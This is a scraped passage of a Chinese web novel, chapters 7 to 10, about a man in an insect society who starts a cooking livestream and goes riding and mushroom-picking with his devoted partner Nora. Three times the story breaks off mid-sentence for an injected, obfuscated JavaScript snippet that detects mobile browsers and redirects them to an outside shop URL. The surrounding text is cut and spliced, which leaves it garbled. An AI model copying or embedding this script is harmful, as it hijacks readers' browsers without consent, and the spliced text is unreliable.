《穿成雄虫,用美食征服全虫族》 7. 第 7 章 “你你你干什么呢!”安瑞手忙脚乱地把诺拉从地上扶起来,“大晚上不睡觉,你在这跪着做什么呀。” 诺拉低头抿了抿唇:“抱歉雄主,打扰您休息了。” 安瑞心中忽然生出一种无力感。 他以为这两天他跟诺拉相处的很好,甚至诺拉已经部分接受了他的观念。 可直到现在他才发现,他压根不懂虫族文化,更不懂诺拉的脑袋里都在想些什么。 他深吸了一口气,把诺拉带到客厅坐下。 “为什么要跪?” 诺拉双膝合拢,双手放在膝盖上,坐得端正。 “回雄主,《雌训》规定,没有得到雄主宠幸的雌奴,要在雄主卧室门口跪侍五日。” 安瑞,安瑞眼前一黑。 跪侍五日,所以诺拉的意思是,他昨天晚上已经在自己卧室门口跪了一宿,如果不是今天自己发现,还要连着这样跪四晚。 就算是审犯人,也没有一连五天不让睡觉的道理吧。 安瑞脸上的神色变换,诺拉全看在眼里,心下更加惴惴不安。 是他哪句话说错了,惹到雄主了吗? 还没等诺拉开口,安瑞忽然站起来,蹲在了诺拉面前,抬手卷起诺拉的睡裤。 “雄主……” 诺拉眼中的惶恐快要溢出来了,他想站起来,想把安瑞扶起来,却被安瑞按住了手臂。 哪怕安瑞的力气不算大,诺拉也不敢挣扎,只是蠕动着嘴唇,想说些什么,又说不出来。 安瑞慢慢把诺拉的裤腿卷上去,果不其然,一双膝盖已经青紫斑驳。 “疼吗?” 诺拉摇摇头:“雄主不用担心,很快就会好。” 雌虫自愈能力极强,这点小伤,不到天明就会恢复如初。 安瑞抬起头,一双漆黑的眸子静静地注视着诺拉。 “很快就会好,所以不会疼吗?” 诺拉喉咙梗了梗。 当然不是。 雌虫恢复力强的同时,对伤痛也更加敏感,所以同样的伤口,雌虫的疼痛感回比亚雌和雄虫高上一倍。 只不过,雄虫和亚雌都默认雌虫身体素质好,恢复能力强,久而久之,整个虫族就忘记雌虫也会痛了。 诺拉原本想说不痛,可不知道为什么,对上那双漆黑的眼眸,他忽然就说不出来了。 他点点头,轻声说:“会痛的。” 安瑞叹了口气,找出药油,细致地涂在诺拉的膝盖上。 “晾一会儿,别沾水。” “谢谢雄主。” 诺拉拉着雄虫坐在沙发上,抽出纸巾,小心翼翼地擦拭上面的药油。 安瑞任由诺拉摆弄自己的手掌,直到诺拉要抽出第五张纸的时候,才不得已开口阻止了他。 诺拉有点失落地放下了纸巾,一双眼睛里居然露出了几分可怜巴巴的神色。 好乖。 和他在蓝星养的德牧越来越像了。 安瑞实在没忍住,伸手揉了一把诺拉淡金色的发丝。 “不要跪了,回去睡吧,晚安。”安瑞往自己的卧室走了几步,又回头叮嘱,“以后也都不要跪了。” 看着安瑞离开的背影,诺拉到底没忍住,轻轻摸了一下自己的头顶。 上面好像还残留着雄虫手掌的温度。 雄主愿意抚摸他的头顶,是不是说明,他还有机会? 诺拉决定,好好研究一下夏佐发给他的视频。 * 安瑞打者哈欠从卧室走出来,昨天晚上为了确保某只傻虫子没有犯轴,他一晚上起来了好几次,确认诺拉真的乖乖回屋睡觉了。 这也直接导致他昨晚根本没怎么睡,现在困得要死。 “雄主日安。” 安瑞勉强扬起一个笑容:“早上好。” 他坐到餐桌边上,随意拿起一片吐司,忽然想起了什么。 “你那个《雌训》还有吗,给我一本。” 他非得好好看看,虫族到底还有什么奇葩的规定。 诺拉迷茫地眨了眨眼,实在无法理解雄主要《雌训》有什么用,但还是守着雌奴的规矩,恭敬应是,从储物胶囊里拿出一本《雌训》,双手递给安瑞。 安瑞接过足有《辞海》那么厚的精装版《雌训》,差点没闪了腰。 他翻开《雌训》,第一页是一篇导言,上面明晃晃写着几行字—— 雄尊雌卑,自古有之,天道使然,夫雌虫,应以卑顺、恭敬、敬慎为美,今作雌训,以范言行,望诸谨收之。 后面四目录,将《雌训》分为四个部分,总则、雌君守则、雌侍守则和雌奴守则,里面对雌虫的一言一行,一举一动都做了明确的规定。 安瑞看着书里密密麻麻的字,仿佛看到了无数优秀的雌虫,被生生砍断了理想的翅膀,压下了挺拔的脊梁,套上了无形的枷锁,最终匍匐在雄虫的脚下。 简直是有病。 他似乎能理解,为什么诺拉自从来到他家之后,就一直小心翼翼如履薄冰,甚至他说的很多话,诺拉都不能理解。 安瑞轻轻叹了口气,把书放在一边。 “以后在家里,不用管这些守则。”安瑞夹了一个荷包蛋放进诺拉碗里,“也不用把我当成你的雄主,放轻松一点。” 诺拉垂眸道谢,苍蓝色的眸子不经意间蒙上了一层阴霾。 雄主到底还是不喜欢他,甚至不想接受他。 安瑞虽然不知道对面那只傻虫子到底在想些什么,但是也能看出来诺拉并没有太明白他的意思。 没关系,来日方长嘛。 * 吃过早饭,安瑞看着准备去军部的诺拉,忽然开口。 “那个,你着急吗?” 诺拉应声回头:“雄主,您有什么吩咐?” 安瑞扬了扬刚打开的快递盒。 “你能帮我带个美瞳吗?” 假发这种东西,是个人就能带,反正把黑发遮住就行,但是美瞳这种东西,他真的带不进去一点。 诺拉看着安瑞手里的绿色美瞳,整只虫都愣住了。 黑发黑眸是雄虫的标志,也是雄虫的骄傲,没有哪只雄虫愿意遮住自己黑色的眸子。 安瑞看诺拉还在发愣,主动走过去把美瞳塞进诺拉手里。 “我想拍点美食视频,但是之前的视频被举报假扮雄虫引流下架了,我就想着干脆化妆成雌虫算了。” 诺拉如梦方醒:“您……您是钱不够花了吗,您可以花我的钱。” 安瑞按住诺拉打开智脑的手:“我想自己赚钱嘛,而且我一只虫在家多无聊呀,你帮我带一下好不好?” 漂亮的雄子抓着他的袖口微微晃了几下,直晃得诺拉耳尖泛起了红晕。 他想,就算他的雄主想要天上的星星,他也不会忍心拒绝。 诺拉下意识咳嗽了一声,凑近了几分,小心翼翼地撑开安瑞的眼睛,轻轻把美瞳放进去。 熟悉的果香丝丝缕缕地钻进了安瑞的鼻腔,带着果酱一样的甜味,并不浓烈,却也让他无法忽视。 救命,他的室友怎么这么香啊。 这真的很容易让他犯错误啊。 安瑞努力控制着凑到诺拉颈边使劲嗅闻的欲望和怦怦乱跳的心脏,连诺拉什么时候帮他带好了美瞳都不知道。 “雄主?” 直到诺拉忍不住出生催促,安瑞才猛地回过神来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538583|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “麻烦你啦。” 诺拉不好意思地摇摇头,忽然想起什么:“对了,雄主,如果您想做美食博主,不如直接开直播。” 安瑞不解地挑了挑眉。 “直播可以共享味觉。” 诺拉干脆打开智脑,现场演示了一下。 所谓味觉共享不只是共享味觉,实质上还包括嗅觉和模拟触觉,可以给观众身临其境的感受,还原度高达90%。 当然,观众接触到的毕竟只是模拟数据,因此在直播间“吃”到的食物并不会产生饱腹感,更不可能顶替现实中的一日三餐。 安瑞有点惊喜地瞪大了眼睛。 不愧是星际时代,这也太高级了吧。 他还担心自己的蛋炒饭平平无奇,没法打动这帮外貌协会呢。 送走诺拉,安瑞立刻穿上围裙,打开智脑。 他想了一下,先把自己的用户名改成“爱做饭的小安”,犹豫了一下,还是把直播间的标题换成了“雄虫超喜欢的美食教程来啦”。 他真的不愿意这样,但是在流量面前,他没有别的选择。 安瑞调整了一下情绪,点击开播,然后笑着冲屏幕招手。 “大家好,欢迎来到小安直播间,今天给大家带来的美食是蛋炒饭,非常简单,大家跟着我学就好了。” 他拿起手边准备好的食材:“我们今天要用到的原料是隔夜的米饭、鸡蛋、胡萝卜、黄瓜和牛肉。” 工作日的上午流量一般,再加上安瑞拿的是个新号,开播几分钟,才稀稀拉拉进来了五六个观众,弹幕更是寥寥无几。 不过好在安瑞早有心理准备,一遍不慌不忙地准备配菜,一边随口解说几句。 “配菜准备好之后,我们就可以起锅烧油了。” 安瑞说着把油倒进锅里,等到油热后放入鸡蛋,扒拉了几下盛出来,然后又往锅里加了点油,下入黄瓜、胡萝卜和牛肉末翻炒。 安瑞的一系列操作终于让平静的直播间出现了一丝水花。 【翅膀硬了:虽然但是,我给雄主做这玩意儿,真的不会被雄保协会抓起来吗?】 【AAA纯情小军雌:不过该说不说主播好漂亮,身材也好】 【今天找到雄主了吗:我要是有这张脸还有这个身段,早就找到雄主了呜呜呜呜】 【AAA纯情小军雌:主播应该是亚雌吧】 【今天找到雄主了吗:但是他看起来应该有180+了,我身边的亚雌都没有超过175的】 【翅膀硬了:老子就是亚雌,我身高可是有足足178呢】 【AAA纯情小军雌:……】 【今天找到雄主了吗:……】 安瑞看着画风逐渐偏离主线的直播间,实在不懂自己就穿着一件蓝色睡衣,为什么这些网友的关注点依然在自己的脸和腰上。 一帮外貌协会,没救了。 安瑞叹了口气,默默加快手里的动作。 过了不到十分钟,蛋炒饭终于出锅了,安瑞把盘子放到镜头前。 “蛋炒饭做好了,有条件的朋友可以打开味觉共享,我们一起品尝美食。” 【翅膀硬了:就这,美食,主播不会是专门做翻车料理的吧?】 【今天找到雄主了吗:虽然长得漂亮的虫说的都对,但是,嗯,你至少,算了我不说话了,主播棒棒哒】 安瑞轻轻叹了口气。 他就知道,样式平平无奇的蛋炒饭打动不了这帮外貌协会的心。 他正想着怎么劝劝直播间里的这几只虫子,忽然弹出来一条弹幕。 【AAA纯情小军雌:那个,要不你们打开试试呢,我刚刚不小心碰到了,真的好香啊。】 8. 第 8 章 【翅膀硬了:真的假的,我读书少你可别骗我】 【AAA纯情小军雌:雌虫不骗雌虫】 【今天找到雄主了吗:家虫们,我也打开了,确实好香】 【翅膀硬了:艹,好像是真的,主播快吃一口,忍不住了要】 安瑞看着闪烁的弹幕,忍不住微微勾起了嘴角。 他就知道,没有人能抵挡住一碗蛋炒饭,就算是虫也不行。 没有卖关子,他盛了一勺蛋炒饭送进嘴里。 【翅膀硬了:艹,太tmd好吃了吧】 【AAA纯情小军雌:虫神在上,这是什么极致的美味】 【今天找到雄主了吗:完蛋了,刚刚主播做饭的时候我没好好看,配料表都没记下来】 【AAA纯情小军雌:求录屏,我给你刷天使之翼】 与此同时,屏幕上出现了各式各样的礼物特效,在线观众也从一位数变成了两位数。 “感谢大家的支持,录屏我剪辑之后会上传到账号的,大家可以点个关注。” 第一次直播,能有这样的效果安瑞已经很满意了,他见好就收,冲直播间招招手:“本次直播就到这里了,我们下次见。” 【牛排七分熟:我刚吃一口主播就要下播了???】 【AAA纯情小军雌:天啊,一想到中午还要喝军部的营养液,我就痛苦面具了。】 【机甲一号:主播,我劝你再多吃两口,如果你不吃,那我只能跪下来求你了】 面对如此热情的网友,安瑞只好又勉强吃了几口,才点了下播。 下播之后,安瑞点开直播数据,观看总数将近100,粉丝涨了八个,打赏礼物总共有178星币,和平台五五分成之后,到手能有89星币,还不够平台最低提现额度100星币。 虽然远不能和他在蓝星的数据相比,但是对于一个新虫主播来说,已经算是不错了。 安瑞心满意足地退出虫娱,智脑上突然跳出来一条信息。 【诺拉:雄主,非常抱歉,军部有一个紧急会议,诺拉今天中午无法回家为您准备午饭了,请您责罚】 安瑞挑挑眉。 自家室友居然敢跟自己请假了? 还说什么紧急会议,明显是红果果的试探啊。 那是不是说明自己早上的谈话卓有成效啊。 绿色的美瞳里露出了几分笑意。 不错,孺子可教。 他放下智脑,忽然想起那个AAA吐槽军部营养液难吃来着。 要不他做个室友版爱心盒饭,给诺拉送过去得了。 * 但事实上,诺拉还真不是没事找事试探安瑞。 今天早上一到军部,诺拉就收到了紧急军情,虫星隔壁的蜥蜴人一族又开始蠢蠢欲动,已经接连派出两股百人小分队骚扰边境。 紧接着,全军部少将以上军衔的将领全部被集中起来开会,主要就是讨论由谁带队支援边境。 原本不是什么大事,但是第二军团的亚历克斯少将和第三军团的安东尼少将争执不下,都想带队去边境。 原本只是两个将军争功,可慢慢就演变成了两个军团之间的斗争,就这样,会议从八点半开到十一点,依然没有讨论出个所以然。 诺拉这才不得不给安瑞发消息,说自己中午没办法回家了。 终于,在时针即将指向一点的时候,司令拍板,由亚历克斯和安东尼共同支援边境,这才算是平息了两个军团之间的纷争。 “我是真服了,去边境又不是什么肥差,有什么可争的。” 散会之后,夏佐没骨头一样挂在诺拉身上,嘟嘟囔囔地抱怨。 诺拉把比自己还高出半头的雌虫从身上摘下来:“亚历克斯已经快四十岁了,但依旧没有匹配雄主,估计是想多挣一点军功,匹配雄主。至于安东尼,听说……他雄主对他不太好。” 诺拉的声音有些低沉,语速也不由自主地放满了几分。 “好吧,那确实有点可怜。”夏佐轻轻叹了口气,很快又振奋起来了,“都快一点半了,也不知道食堂还有没有饭。” 诺拉面无表情:“至少营养液肯定是有的。” 夏佐哀嚎一声:“营养液只能满足我的胃,不能满足我的心。” 诺拉瞥了他一眼,根本没搭理鬼哭狼嚎的夏佐,只是自顾自地往前走。 “诺拉你没有心!” 夏佐吸吸鼻子追上去,刚要对好友的冷漠行为进行长达一万字的谴责,就被迎面而来的一只军雌打断了。 穿着哨兵制服的军雌冲他们敬了个礼:“诺拉少将,军部门口有一位雄子,说是您的雄主,想进来找您。” 诺拉神色一变,疾步向门口走去。 身边的夏佐也变了脸色,跟在诺拉身后,刚刚还喋喋不休的嘴好像哑火的炮一样声息全无。 众所周知,雄虫最讨厌军雌,连带着对军部也没什么好感。 他实在不敢想象,自己这位好友到底犯了多大的错,才会让一位雄子专程跑到军部来找他麻烦。 他更不敢想象,万一那位雄虫阁下直接在军部门口发难,诺拉可怎么在下属面前维护少将的尊严。 夏佐胡思乱想的功夫,诺拉已经走到了门口,远远地就看到自家雄主站在门口,身边围了一圈军雌。 那些平均身高一米九,平常在训练场上个个张嘴就是粗话的雌虫,现在小心翼翼地围着他家雄主,脸上还带着温柔到近乎谄媚的微笑。 自家雄主好像也一点都不排斥被军雌围着,反而很有耐心地陪他们说话。 诺拉咬了咬嘴唇,几步走过去,声音发沉:“午休时间,不是让你们在这里聚众喧哗的。” 军雌们见长官来了,立刻噤声行礼站得笔直,只不过一双双眼睛还在打量他们的诺拉少将。 虫神在上,为什么诺拉少将这样的冷面煞神能拥有这么温柔的雄主。 简直没天理啊! 呜呜呜呜他们也想要一个能给他们送午饭,谈吐还这么彬彬有礼的雄虫。 诺拉假装没看到这一张张脸上的艳羡,苍蓝色的眸子冷冷地扫过每一只擅离职守的军雌。 “既然不愿意休息,那就去操场跑二十圈,再做一千个俯卧撑。” 军雌们一个个苦了脸,又不敢说什么,只好顶着太阳去操场上跑圈。 赶跑了碍眼的军雌,诺拉才走到安瑞身前,躬身问好:“雄主日安。” 安瑞抬手帮诺拉整理了一下军服:“这么凶。” 诺拉脸上就露出几分急切的神情:“没……没有凶,诺拉不会对您凶的。” 安瑞微微一笑,扬了扬手里的饭盒:“我刚刚听哨兵说,你开了一上午会,还没吃饭吧,我给你带来了。” 诺拉眼睛里闪过几分惊喜:“谢谢雄主。” 与此同时,诺拉身后的夏佐大脑已经不 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诺拉默默地从抽屉里翻出一份碗筷,分了一些饭菜给夏佐。 “谢谢。” 夏佐坐到一边,低头尝了一口,眼睛立刻亮了起来。 这是什么极致的美味啊。 他突然觉得自己前二十几年都白活了。 “这也太好吃了,谁做的?” 诺拉轻轻咳嗽一声:“保姆虫吧。” “那你运气真好。”夏佐感叹一句,忽然眯起眼睛,“可以啊,这才几天啊,你家雄主都来给你送午饭了。” “你误会了,雄主只是对每一只雌虫都很好。就像刚刚,雄主可以和哨兵谈笑风生,也可以和你握手一样。”诺拉苦笑了一下,“三天了,雄主还是没有碰过我。” 夏佐愣了一瞬:“不会吧,上次我给你发的视频你看过没有?” “还没来得及。” 夏佐恨铁不成钢地瞪了诺拉一眼,低头猛炫了几口蛋炒饭,忽然灵光一闪。 “要不你邀请你家雄主去原始森林公园吧,那边可以骑马打猎,好多军雌都会和雄主在那边约会。” 身形矫健的军雌一身骑装,利索地跳上马背,弯弓搭箭,正中猎物的咽喉。 傍晚,在树林边的帐篷里,白天驰骋草原的雌虫雌伏在自己身下,任君采撷的样子,就算是那些喜欢纤细亚雌的雄虫,也会多少心动几分吧。 如果雄虫喜欢骑马的话,还可以教雄虫骑术,两只虫同乘一骑,酱酱酿酿,之后的事岂不是水到渠成? 夏佐的脸上露出了暧昧的笑容,三口两口把饭菜吃完,拉着诺拉给他买了原始森林公园周末的套票。 * 当天晚上,次卧。 诺拉坐在桌子前,月光透过窗户洒进来,照在雌虫锋利的面庞上。 于是,原本锐利的五官也添了几分柔和。 诺拉伸手,轻轻捧起桌上的机甲模型。 “小白,我好想真的喜欢上雄主了。” “我真的好喜欢好喜欢他。” “你说,夏佐的主意有用吗,我该怎么做,才能让雄主也喜欢上我。” 不用很多的喜欢,只要一点点就好了。 9. 第 9 章 “原始森林公园?” 彼时的安瑞正在上传剪辑好的蛋炒饭攻略录屏,诺拉忽然走过来,邀请他周末一起去原始森林公园。 诺拉有点紧张地攥了攥拳,勉强维持镇定:“是,原始森林公园可以骑马、捕猎、野营。” 想起自家雄主喜欢做饭,诺拉又赶紧补了一句:“还可以采摘,烧烤。” 安瑞的眼睛顿时亮了。 烧烤,是他想的那种烤鸡翅烤牛肉串烤全羊吗? 下一刻,他突然想到虫族是一个贫瘠到只有糖和盐的地方。 刚刚亮起来的眼睛一下就暗淡了不少。 他刚要婉拒,下一刻就对上了那双苍蓝色的眸子。 那对眸子晶晶亮亮,里面含着期待、紧张,还有一点点近乎哀求的恳切。 于是,拒绝的话在舌尖转了个弯儿,然后就变成了—— “好呀,我周末有空。” 看着诺拉欢喜地背影,安瑞深深感叹了一句。 美色误我啊。 他揉了揉刺痛的太阳穴,试图自我安慰—— 没事,只要肉质足够新鲜,只抹点盐巴应该也不难吃。 * 蛋炒饭视频一经发布,不到二十四小时观看数就突破了一万,点赞数量也有四五百,对于一个新主播来说,这种成绩已经算是不错了。 后面的几天,安瑞每天上午开播,下午整理录屏,很快就积攒到了三位数的粉丝,直播间里也稳定会有二三十位在线观众。 但是,与此同时,安瑞能够感觉到自己账号的运营陷入了第一个瓶颈。 视频的点赞数量一直没能突破四位数,直播间的在线观众数量也一直没有达到三位数,就连粉丝的增加也非常缓慢。 蛋炒饭和家常菜的冲击还是不够,他需要一道足够美味的菜,来为他破圈。 安瑞关上虫娱,轻轻吐出一口气。 周末先去原始森林公园玩一天,下周再继续努力吧。 * 周六,安瑞起了个大早,和诺拉一起来到原始森林公园。 下了星舰,安瑞看着眼前大片浓重的绿色,深深吸了一口气,做了几个扩胸运动。 自从穿越之后,一直待在市区,好久没有这么亲近大自然了。 他侧头问诺拉:“咱们先去玩什么?” 诺拉惦记着夏佐给他传授的秘诀,小心翼翼地问:“雄主,您想试试骑马吗?” “可以啊,但是我不太会。” 诺拉压下心中的欣喜:“没事,我教您。” 安瑞跟着诺拉来到马棚,最终挑中了一匹黑马。 诺拉把马牵出来,很自然地跪下,背部压得很平:“雄主,请您上马。” 安瑞愣住了。 这种场景,他只在蓝星的电视剧里见过。 救命,他可没有踩着其他人上马的习惯,虫也不行。 诺拉看到安瑞脸上闪过的犹豫,只以为他是担心安全,解释道:“雄主别担心,这边的马都受过训练,非常温顺,就算突然暴起,诺拉也能保证您不受伤害。” 安瑞轻轻叹了口气,走过去,把那诺拉扶起来。 “是不是傻,折我寿呢?” 诺拉迷茫地眨眨眼:“诺拉不敢。” 安瑞抬手,弹了一下诺拉光洁的额头 :“以后不许让别的虫踩你的后背,我也不行。” “是。” 诺拉闷闷地应了一声,忍不住用手背蹭了蹭额头上的印子。 安瑞忍不住勾了勾嘴角。 这一个礼拜,他每天惯着哄着,总算是让他家室友没那么怕他了。 想想刚来那天,诺拉哪里有胆子这么瞪着自己。 “雄主?” 安瑞立刻收回试探性的目光,他看着眼前这匹实打实的高头大马,觉得凭自己的能力想上去可能性不大,刚要去找把凳子,就见诺拉忽然往前走了半步,一手拉马缰绳,一手按住了马的胯骨。 黑马低低的嘶鸣了一声,四条腿像筛子一样抖了几下,骤然弯曲卧在了地上。 “请雄主上马。” 安瑞再一次被雌虫这个神奇的物种震撼到了。 他看了看和自己身高差不多的诺拉,又看了看比自己高出两头的大黑马。 这有点厉害得超过了吧。 而且看诺拉这闲庭信步的样子,好像根本没费多大劲。 看来他得赶紧开始锻炼了,总不能比自家室友差太多吧。 安瑞一边想,一边轻轻松松上了马,诺拉松开手,黑马委委屈屈地瞟了暴力的雌虫一眼,才不情不愿地站起来。 诺拉安顿好安瑞,又去马棚挑了一匹白马。 看着自家室友毫无难度地翻身上马,安瑞不由得叹了口气。 他也想要这么帅气的上马姿势。 诺拉同时牵着两匹马缰绳,带安瑞走到森林入口:“雄主,您想试着跑一会儿吗?” 安瑞眼神一亮。 试问哪个90后高中没读过两本武侠小说,没想过像大侠一样驰骋江湖啊? “可以吗?” “诺拉冒犯。” 话音未落,安瑞只觉得眼前一晃,室友已经稳稳地坐在了自己身后。 “请您坐好。” 安瑞还没来得及回应,黑马突然加速,两边的树林飞速地向后倒去,安瑞只觉得眼前发花。 这得上五十迈了吧。 他下意识地向后靠了靠,然后就跌进了一片硬实滚烫的胸膛。 “雄主别怕,诺拉会保护好您。” 低沉的声音在耳边响起,安瑞忍不住微微回头看身后的室友。 坚毅的目光,锋利的下颌线,依旧那么令人安心。 他慢慢吐出一口气,尽量放松身体,享受在山林驰骋的感觉。 安瑞不知道的是,诺拉根本没有看上去那么冷静,他已经快紧张疯了。 雄主就在他怀里,口鼻间是淡淡的青草香味,身体都隐隐有了反应。 他知道自己这个时候应该做些什么,可脑袋已经成了一团浆糊,之前浏览过的帖子和视频一个都想不起来,只能机械般地驾马往前冲。 很快,他们就来到了休息区,也是整个林区唯一允许烧烤的地方。 诺拉有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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诺拉几乎能感觉到自己脸上的温度陡然升高,他慌忙低下头,努力克制住激动的心情。 一旁的安瑞倒是没注意到诺拉的异常,他兴高采烈地把兔子放进猎物袋,一抬头,就看到前面树林里忽然慢悠悠走出来一只羊,正悠闲地啃地上的青草。 “诺拉,有羊!” 今晚的烤全羊有着落了。 诺拉猛地回过神,山羊这种大牲口,狩猎难度显然不是野兔可以比拟的。 “雄主,您回车上坐好,诺拉很快就回来。” 诺拉说罢翻身上马,冲着猎物疾驰而去。 年轻的将军好像一只雄鹰,黑色的紧身骑装将诺拉身上的线条展现得淋漓尽致。 宽肩窄腰,肌肉流畅又不夸张,带着几分恰到好处的青年英气。一头金色的长发高高扎了个马尾,在正午太阳的照射下泛着耀眼的光芒。 安瑞不争气地咽了咽口水,掩饰一般地低下头,刚要上车,忽然,树根处的某个小东西吸引了他的注意力。 红伞伞,青绿色的杆杆…… 怎么有点像蓝星的菌子呀。 安瑞不由得走过去,蹲下细细观察。 下一刻,安瑞的心跳骤然加速。 如果他看得没错,这玩意儿应该是见手青吧。 家虫们,直播的大菜这不就来了? 10. 第 10 章 诺拉眉头微皱,一双滚圆的眼睛像捕食的猎豹般紧紧盯着不远处的猎物。 计算着距离差不多了,诺拉双腿夹进马肚,猛地拉开弓弦,一箭射穿了猎物的脖颈。 山羊扑跪在地,四肢抽搐了几下,很快就没了声息。诺拉催马过去,把羊搭在马背上,小跑着回到原地,然后就愣住了。 电瓶车里空空如也,安瑞早就不见了踪影。 诺拉脑袋里嗡地一声。 虽然原始森林公园没有具有攻击性的猛兽,但到底不如市区安全,地势复杂,蚊虫也比较多。 雄主被毒虫咬了? 雄主从山坡上摔下去了? 雄主被坏虫绑架了? 各种不好的念头在脑海里呼啸而过,诺拉飞快地拨通了安瑞的智脑。 一声,两声,三声…… 没有应答。 诺拉脸色骤变,几滴冷汗顺着鬓角蜿蜒而下。 他看着迟迟无法接通的智脑,忍不住开始后悔刚刚为什么要留下雄主去追那只羊,甚至开始后悔不该带雄主来森林公园。 就在诺拉打算报警的时候,身后突然传来了一道熟悉的声音 “诺拉,你回来了。” 诺拉猛地转过头,就看到自家雄主站在不远处的地方,手上还提了个篮子。 他三步两步跑过去,伸手就抓住了安瑞的胳膊。 “您去哪了,我给您发语音申请,您怎么不接呢?” 安瑞被自家室友吼得愣了一下。 “我去摘蘑菇了,可能没听见,抱歉。” 听到安瑞的道歉,诺拉好像才反应过来自己干了什么。 他一个雌奴,居然吼了自家雄主。 诺拉的唇色瞬间褪了个干净,唇瓣开开合合,几乎语不成句:“抱歉,雄主,我……我不是故意凶您的,对不起,我就是担心您,我……” 他很努力地解释,但无论如何也掩盖不了他凶了雄主这个事实。 雄主应该会很失望,觉得他是恃宠生娇吧。 诺拉有些绝望地闭上双眼,下意识地屈膝要跪,但下一刻,居然跌进了一个温暖的怀抱。 “说了多少次不要跪,怎么就不听话。” 诺拉惊喜地睁开眼,看着面前美貌的雄虫,半天才憋出一句“对不起”。 安瑞抱着自家室友,安抚一般轻轻揉了揉他金色的发丝。 “你担心我,我很高兴,你愿意冲我发火,我也很高兴。” 诺拉迷茫地眨眨眼。 他好像又听不懂雄主的话了。 “担心我,说明你在乎我。冲我发火,说明你把我当成好朋友。”安瑞拍拍诺拉的后背,然后放开了他,“试着放松一些。” 诺拉轻轻应了一声,又忍不住开口反驳:“您是诺拉的雄主,不是好朋友。” 安瑞正低头看筐里的菌子,随口应了一句:“那是好室友行了吧?” 诺拉,诺拉简直要被气死了。 为什么虫星会有这么不解风情的雄虫啊。 * 简单吃了点午饭,安瑞用捕到的野兔请休息区的服务虫帮他们收拾一下羊,就带着诺拉出来采菌子了。 当初,他在蓝星做美食博主的时候,为了做一个有关菌子的视频,专门跟着当地的农户采了一个月的菌子,什么菌子能吃,什么菌子好吃他可全都知道。 在蓝星,菌子可以说是中华国家喻户晓的美食,因此野生菌的价格很高,每每一到吃菌子的季节,上山采菌子的人比菌子还要多,忙活一天只能采上小半筐也是常有的事。 现如今,看着漫山遍野肆意生长的菌子,安瑞简直要幸福哭了。 这都是财富啊。 另一边,诺拉虽然不知道雄主为什么要捡这些不起眼的植物,但秉持着“雄主做的都对”的原则,他依旧跟在安瑞身后,尽职尽责地捡菌子。 直到日头西斜,安瑞擦了一把头上的汗水,看着满满当当两筐野生菌,他拍了拍诺拉的肩膀。 “差不多了,咱们回去。” * 结伴回到休息区,草坪上已经有不少虫支好了帐篷和烧烤架。 安瑞刚走进休息区,不少雌虫和亚雌的目光就径直落在了他身上,还有一些已经蠢蠢欲动,想过来和安瑞交换联系方式。 安瑞被一道道目光看得头皮发麻。 失策了。 早知道就带着假发和美瞳来了。 就在安瑞打算戴上墨镜和帽子的时候,那一道道殷切的目光忽然消失了,场面正常的好像什么都没发生一样。 安瑞有点好奇地挑挑眉,下一刻就注意到身后的诺拉正用凛冽的目光扫过每一只看他的雌虫。 不知道为什么,他脑子里忽然就弹出了他家德牧冲陌生人狂吠的场景。 救命! 安瑞赶走脑海里奇奇怪怪的想法,冲诺拉感激地笑笑。 “多谢。” 诺拉,诺拉已经麻了。 雄主真的看不出来他在宣誓主权吗? 为了不把雄虫保护协会引来,安瑞非常谨慎地没有亲自动手,而是指导诺拉处理羊肉。 不得不说,虫族烧烤的水平还是不错的,至少不会像罐头一样往里面乱加调料。安瑞指导诺拉用洋葱、盐、胡椒、姜粉拌了个调料,均匀地抹在羊身上,大概等了一个多小时,才放到烧烤架子上。 诺拉现在对自家雄主的厨艺已经深信不疑,对安瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538586|142498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是言听计从。 趁着烤羊的功夫,安瑞抓紧时间把菌子分了个类,最多的就是各种牛肝菌,除此之外竟然还有一小堆干巴菌和羊肚菌。 安瑞喜出望外,小心翼翼地把各种菌子分门别类装好。 因为羊不大,不到一个小时,烧烤架上就已经传来了阵阵香味。 安瑞用刀割了一片儿,递到诺拉的嘴边:“尝尝,小心烫。” “谢谢雄主。” 事先腌制过的羊肉外酥里嫩,咸香适中,根本不需要额外再蘸盐巴。 诺拉三口两口就把羊肉咽进肚里,然后又凑到安瑞身边,等着他投喂。 虽然他知道自己这样很不对,但是看着周围雌虫投来的艳羡甚至嫉妒的目光,他就忍不住想“恃宠生娇”一次。 哪怕这份“宠爱”其实是假的。 安瑞看着眼巴巴的诺拉,勾了勾唇角,又片了一块羊腿肉喂进他嘴里。 “好吃吗?” 诺拉使劲点头:“好吃,雄主真厉害。” 安瑞大概吃了半个小时,就放下了刀叉。 “雄主您不吃了吗?” 安瑞摇摇头。 烤肉这种东西原本就容易腻,他吃了小半个羊腿,又去服务区拿了点免费的蔬菜和面包,也就差不多饱了。 然后,安瑞就看到,诺拉瞬间加快了吃肉的速度。 不到二十分钟,一只烤全羊已经被诺拉吃得不剩什么了。 安瑞看得目瞪口呆。 虽然这只羊不算大,但至少也得有四五十斤啊。 